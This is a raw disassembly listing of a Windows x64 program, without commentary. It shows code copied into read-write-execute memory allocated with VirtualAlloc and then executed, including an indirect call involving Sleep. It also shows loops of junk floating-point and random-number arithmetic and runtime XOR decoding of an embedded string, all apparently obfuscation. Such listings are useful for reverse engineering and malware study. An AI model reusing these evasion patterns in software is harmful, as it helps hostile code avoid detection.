movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f240
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400393a0]
mov qword [rdi + rax*8 + 0x3c950], rbx
mov qword [rdi + rax*8 + 0x3b010], r8
inc rax
mov qword [0x1400393a0], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000add0]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x120]
call fcn.14001ff50
nop
lea rcx, [rbp + 0xf0]
call fcn.14001ff50
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001f890
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x1400307d0]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x50]
call fcn.140001670
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.140020f30
lea rcx, [rbp + 0xf0]
call fcn.1400025a0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.140020f50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140020fa0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140020fd0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021000
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021030
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021060
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002540
test al, al
jns 0x14000f883
nop dword [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm1, xmm5
call fcn.1400023f0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001ffb0
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002360
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rcx, [rbp + 0xd8]
call fcn.14001f960
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021120
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002470
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021180
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov r8d, ebx
mov edx, eax
call fcn.140002570
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x14000f776
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000f785
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x14000f805
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000f825
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.140021090
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x14000f7a0
sub rdi, 1
jne 0x14000f790
lea rcx, [rbp + 0xd8]
call fcn.14001f900
nop
lea rcx, [rbp + 0x120]
call fcn.14001ff50
sub rsi, 1
jne 0x14000f560
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002540
test al, al
js 0x14000f550
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001f7c0
mov dword [rsp + 0x30], 0x96
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.1400025b0
nop
mov ecx, r12d
mov rax, qword [0x14003a050]
test rax, rax
je 0x14000f8f9
nop word [rax + rax]
cmp rax, r13
je 0x14000f8e6
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3a050]
test rax, rax
jne 0x14000f8d0
jmp 0x14000f8f9
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b990]
test r8, r8
jne 0x14000f9df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f922
mov r8, r12
jmp 0x14000f9be
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f930
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003a690]
mov qword [rdi + rax*8 + 0x3a050], r13
mov qword [rdi + rax*8 + 0x3b990], r8
inc rax
mov qword [0x14003a690], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
movups xmm0, xmmword [str.jomU]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x14002fee0]
movsd qword [rbp + 0x100], xmm0
mov eax, dword [0x14002fee8]
mov dword [rbp + 0x108], eax
movzx eax, word [0x14002feec]
mov word [rbp + 0x10c], ax
mov r9d, r12d
cmp r15d, 2
jl 0x14000fbf9
movdqa xmmword [rsp + 0x40], xmm13
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x14000fa70
cmp r9d, 0x1e
jge 0x14000fc5f
movsxd rax, r9d
lea r10, [rbp + 0xf0]
add r10, rax
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xae147ae1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x19
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1e
jl 0x14000fc10
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.1400025b0
nop
mov ecx, r12d
mov rax, qword [0x14003a370]
lea rbx, [0x140021500]
test rax, rax
je 0x14000fcca
cmp rax, rbx
je 0x14000fcb7
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3a370]
test rax, rax
jne 0x14000fca1
jmp 0x14000fcca
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x39d30]
test r8, r8
jne 0x14000fdaf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000fcf3
mov r8, r12
jmp 0x14000fd8e
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000fd00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400396d0]
mov qword [rdi + rax*8 + 0x3a370], rbx
mov qword [rdi + rax*8 + 0x39d30], r8
inc rax
mov qword [0x1400396d0], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000add0]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001f890
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x1400307d0]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x50]
call fcn.140001670
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.140020f30
lea rcx, [rbp + 0xf0]
call fcn.1400025a0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.140020f50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140020fa0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140020fd0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021000
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021030
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140021060
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001f790
nop
lea rcx, [rsp + 0x50]
call fcn.14001f750
nop
lea rcx, [rsp + 0x40]
call fcn.14001f750
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002540
test al, al
jns 0x140010323
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm1, xmm5
call fcn.1400023f0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001ffb0
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002360
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rcx, [rbp + 0xd8]
call fcn.14001f960
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021120
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002470
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021180
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov r8d, ebx
mov edx, eax
call fcn.140002570
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x140010216
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140010225
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021090
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x1400102a5
lea rcx, [rbp + 0xd0]
call fcn.140020e80
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400102c5
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.140021090
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x140010240
sub rdi, 1
jne 0x140010230
lea rcx, [rbp + 0xd8]
call fcn.14001f900
nop
lea rcx, [rbp + 0x120]
call fcn.14001ff50
sub rsi, 1
jne 0x140010000
lea rcx, [rsp + 0x40]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.140002540
test al, al
js 0x14000fff2
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001f7c0
mov dword [rsp + 0x30], 0x320
lea rcx, [rbp + 0xd8]
call fcn.1400025a0
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.1400025b0
nop
mov ecx, r12d
mov rax, qword [0x14003a050]
test rax, rax
je 0x140010399
nop word [rax + rax]
cmp rax, r13
je 0x140010386
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3a050]
test rax, rax
jne 0x140010370
jmp 0x140010399
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b990]
test r8, r8
jne 0x14001047f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400103c2
mov r8, r12
jmp 0x14001045e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400103d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003a690]
mov qword [rdi + rax*8 + 0x3a050], r13
mov qword [rdi + rax*8 + 0x3b990], r8
inc rax
mov qword [0x14003a690], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
mov rax, qword [0x140030070]
mov qword [rsp + 0x38], rax
cmp r15d, 2
jl 0x140010634
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm12
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x38]
xorps xmm2, xmm1
